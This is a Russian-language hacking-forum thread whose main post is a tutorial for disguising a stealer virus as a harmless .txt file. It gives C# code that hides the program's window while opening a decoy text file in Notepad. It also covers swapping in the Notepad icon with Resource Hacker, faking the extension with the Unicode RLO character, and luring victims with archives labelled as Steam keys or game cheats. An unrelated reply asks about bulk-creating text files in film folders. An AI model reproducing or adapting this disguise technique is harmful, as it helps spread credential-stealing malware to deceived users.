• Добро пожаловать на сайт - Forumteam.bet !

    Что бы просматривать темы форума необходимо зарегестрироваться или войти в свой аккаунт.

    Группа в телеграме (подпишитесь, что бы не потерять нас) - ForumTeam Chat [Подписатся]
    Связь с администратором - @ftmadmin

[C#] Маскировка вируса под вид .txt файла

Chollongarn

Эксперт
Эксперт
Регистрация
13.07.19
Веб-сайт
vk.com
Обычный .txt файл ни у кого не вызывает подозрения. И так совпало что вирус можно замаскировать под него, да так чтобы он реально работал как .txt. Это идеальный вариант для маскировки стиллеров.

Сразу к минусам: если человек использует вид Таблица в папках, то там черным по белому написано Приложение. Можно открыть Свойства файла и встретить такую же картину.

Избавиться от этих минусов может только невнимательность человека или распаковка вируса на рабочий стол.

Принцип работы: закидываем в архивчик наш замаскированный вирус (если хотите распространять по VK - так как .exe он не даёт загрузить), подписываем наш .exe как: "ключи steam", "чит коды на варфейс" и тому подобное. Меняем иконку на иконку блокнота. Жертва скачав архив открывает наш стиллер, он в свою очередь создаёт где-нибудь файл заодно наполняя его текстом и потом открывая. В случае с примером "ключи steam" можно закинуть реальные ключи, но уже использованные - подозрений что на ПК стиллер ноль.

Кодинг и полный принцип работы:

1.
Создаём новое решение Windows Form.

2. Открываем код Form1.cs:
  • Чтобы имитировать наш текстовый документ - нужно где-то создать .TXT файл и открыть его с помощью блокнота.
Код:
using System;
using System.IO;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Diagnostics; // Process.Start

namespace realItLolz
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
            string localappdata = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
            string pathToTxt = Path.Combine(localappdata, "system.txt");

            var writeTxt = new StreamWriter(File.OpenWrite(pathToTxt)); // создаём .txt файл
            writeTxt.WriteLine("Статья от stesyel"); // добавляем строчку
            writeTxt.WriteLine("._.");
            writeTxt.Close(); // закрываем файл после завершенния работы

            Process.Start("notepad.exe", pathToTxt); // открываем .txt с помощью блокнота
        }
    }
}
Проверяем.. И да! Это работает.
3. Теперь нужно скрыть приложение, вставляем это код в Form1.cs перед InitializeComponent():
Код:
FormBorderStyle = FormBorderStyle.None;
WindowState = FormWindowState.Minimized;
Height = 0;
Width = 0;
ShowIcon = false;
ShowInTaskbar = false;
4b982db09f9c.png

Как бы и не видно ничего, просто открылся .txt :]

4. Настало время сменить иконку и расширение:
Изменять иконку будем с помощью Resource Hacker. Я буду получать её из shell32.dll, делается это так:
- Переносим shell32.dll в Resource Hacker.
- Находим Icon Group и доходим до 152 номера.
- Кликаем правой кнопкой мыши выбираем Save *.ico resource..
  • Иконку так же можно скачать из интернета.
Теперь закидываем наш .exe и жмём на Add Binary or Image Resource, выбираем нашу .ICO-нку. Resource Name должно быть равно ICON. Сохраняем файл.

4.2. Требуется чтобы перед .exe было написано txt! Так же всё что мы повторили можно отобразить в изображение, видео и т.д.
Ставим ввод (мигающая полоска с которой начинает писаться текст) перед txt.exe далее Вставить управляющий символ Юникода ---> RLO.
816e749c843f.png

using System;
using System.IO;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Diagnostics; // Process.Start

namespace realItLolz
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();

FormBorderStyle = FormBorderStyle.None;
WindowState = FormWindowState.Minimized;
Height = 0;
Width = 0;
ShowIcon = false;
ShowInTaskbar = false;

string localappdata = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
string pathToTxt = Path.Combine(localappdata, "system.txt");

var writeTxt = new StreamWriter(File.OpenWrite(pathToTxt)); // создаём .txt файл
writeTxt.WriteLine("Статья от stesyel"); // добавляем строчку
writeTxt.WriteLine("._.");
writeTxt.Close(); // закрываем файл после завершенния работы

Process.Start("notepad.exe", pathToTxt); // открываем .txt с помощью блокнота
}
}
}
 

Chinaoximi

Пользователь на проверке
На проверке
Регистрация
28.12.21
Предварительных действий нет. Каталог с файлами уже есть и все чем занимаюсь, это созданием txt файлов в каждой папке.

Полный алгоритм действий:
Открываю каталог в левой файловой панели. В ней много папок вида:
Name Surname - Film title
Name Surname, Name2 Surname2 - Film title2
Name Surname, Name2 Surname2, Name3 Surname3 - Film title3

Выделяю папку "Name Surname, Name2 Surname2 - Film title2"
Переименовать > копирую "Name Surname, Name2 Surname2" > удаляю ", Name2 Surname2" = получается папка Name Surname - Film title2
Захожу внутрь > создать actors.txt > Вставить из буфера Name Surname, Name2 Surname2 > сохранить.

Потом следующую папку где больше одного имени - "Name Surname, Name2 Surname2, Name3 Surname3 - Film title3"
Name Surname - Film title3 > actors.txt c "Name Surname, Name2 Surname2, Name3 Surname3"

и т.д. до бесконечности папок около 18к.

Все названия папок однотипные, т.е. всегда перед первым тире есть имена разделенные запятой или одно имя и запятых нет.
 
Сверху Снизу